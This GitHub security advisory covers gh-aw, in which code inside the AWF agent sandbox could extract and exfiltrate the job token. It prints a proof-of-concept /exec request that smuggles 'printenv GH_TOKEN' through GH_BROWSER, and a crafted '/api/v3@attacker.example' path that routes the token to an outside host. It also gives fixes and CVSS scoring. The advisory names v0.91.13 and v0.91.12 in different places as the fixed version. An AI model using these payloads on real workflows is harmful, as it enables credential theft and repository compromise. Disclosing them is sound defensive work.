Advisoriesby IbisSandboxed code can steal and silently exfiltrate the gh-aw job token
gh-aw's credential sidecars do not isolate the job token from code running inside the AWF sandbox. I reproduced two independent bugs in the default cli-proxy/mcpg path. Together, sandboxed code can obtain the job credential and send it to an arbitrary HTTPS host despite token stripping and egress filtering.
1. cli-proxy merges an /exec caller's env into its own environment. GH_BROWSER is not protected. gh browse executes that value inside the sidecar, which holds GH_TOKEN, and returns stdout to the sandbox:
```http
POST /exec
{"args":["browse","--repo","owner/repo"],"env":{"GH_BROWSER":"/bin/sh -c 'printenv GH_TOKEN'"}}
`
This returned the real ghs_ token from the credential-holding sidecar.
2. gh-aw-mcpg strips /api/v3 without requiring a following slash, then concatenates the remainder onto https://api.github.com:
```text
/api/v3@attacker.example/proof
→ https://api.github.com@attacker.example/proof
`
The URL parser treats api.github.com as userinfo and sends the request, including the job token, to attacker.example. I reproduced this from inside the real AWF agent path while direct sandbox egress to the same host was blocked. The receiver used the token to read the private test repository and create an issue with the workflow's permissions.
If a workflow supplies GH_AW_GITHUB_TOKEN, the exposed credential may be a long-lived...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| gh-aw Product | < v0.91.13 | v0.91.13 |
Details and references
gh-aw's credential sidecars do not isolate the job token from code running inside the AWF sandbox. I reproduced two independent bugs in the default `cli-proxy`/`mcpg` path. Together, sandboxed code can obtain the job credential and send it to an arbitrary HTTPS host despite token stripping and egress filtering. 1. `cli-proxy` merges an `/exec` caller's `env` into its own environment. `GH_BROWSER` is not protected. `gh browse` executes that value inside the sidecar, which holds `GH_TOKEN`, and returns stdout to the sandbox: ```http POST /exec {"args":["browse","--repo","owner/repo"],"env":{"GH_BROWSER":"/bin/sh -c 'printenv GH_TOKEN'"}} ``` This returned the real `ghs_` token from the credential-holding sidecar. 2. `gh-aw-mcpg` strips `/api/v3` without requiring a following slash, then concatenates the remainder onto `https://api.github.com`: ```text /api/v3@attacker.example/proof → https://api.github.com@attacker.example/proof ``` The URL parser treats `api.github.com` as userinfo and sends the request, including the job token, to `attacker.example`. I reproduced this from inside the real AWF agent path while direct sandbox egress to the same host was blocked. The receiver used the token to read the private test repository and create an issue with the workflow's permissions. If a workflow supplies `GH_AW_GITHUB_TOKEN`, the exposed credential may be a long-lived fine-grained PAT instead of the job-scoped Actions token. This is per-job credential compromise, not cross-tenant access to shared GitHub infrastructure. The practical attacker must get code executed inside AWF; default fork restrictions often make that attacker a collaborator rather than an arbitrary GitHub user. ## Resolution Fixed in gh-aw `v0.91.12`. The updated CLI proxy closes the exploit chain at multiple boundaries: - `/exec` accepts only command arguments and bounded stdin. Caller-controlled environment variables, working directories, and unknown fields are rejected. - `gh` subprocesses receive an explicit server-owned environment with browser, editor, pager, alternate-host, and local-file escape paths disabled. - The sidecar no longer receives the ambient GitHub credential. `gh` uses a non-secret placeholder that the fixed-target HTTP shim removes before the external proxy applies its own credential. - Authority-changing API endpoint forms and commands that bypass the HTTP shim through git or SSH are rejected before execution. These controls prevent sandboxed code from extracting the job credential or reaching the malformed MCPG routing path through the gh-aw CLI proxy. The implementation is tracked in [github/gh-aw-firewall#9940](https://github.com/github/gh-aw-firewall/pull/9940). Users should upgrade to gh-aw `v0.91.12` or later and recompile existing workflows so their generated lock files select the patched runtime. ## CVSS v4.0 severity assessment **CVSS-B 9.2 (Critical)** `CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:L/SA:N` The vulnerable system is the per-job credential sidecar environment, not shared GitHub infrastructure. The attacker already has low-privilege execution inside AWF (PR:L); exploitation is local to that job (AV:L), deterministic without a race or additional execution prerequisite (AC:L, AT:N), and needs no further human action (UI:N). Attacker-selected browser-hook execution compromises the credential-holding sidecar, permitting disclosure, modification and termination of that service (VC:H, VI:H, VA:H). The subsequent system is the token-authorized GitHub repository: the report demonstrates private-repository disclosure (SC:H) and issue creation (SI:L). No subsequent-system availability loss is established (SA:N). More powerful optional PAT permissions are not assumed. This score describes affected versions before `v0.91.12`. This is a base-metric assessment of the vulnerable version. Threat and environmental metrics are not explicitly assi
- CVSS 4.0
- CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:L/SA:N
- Severity from
- GitHub (reviewed advisory)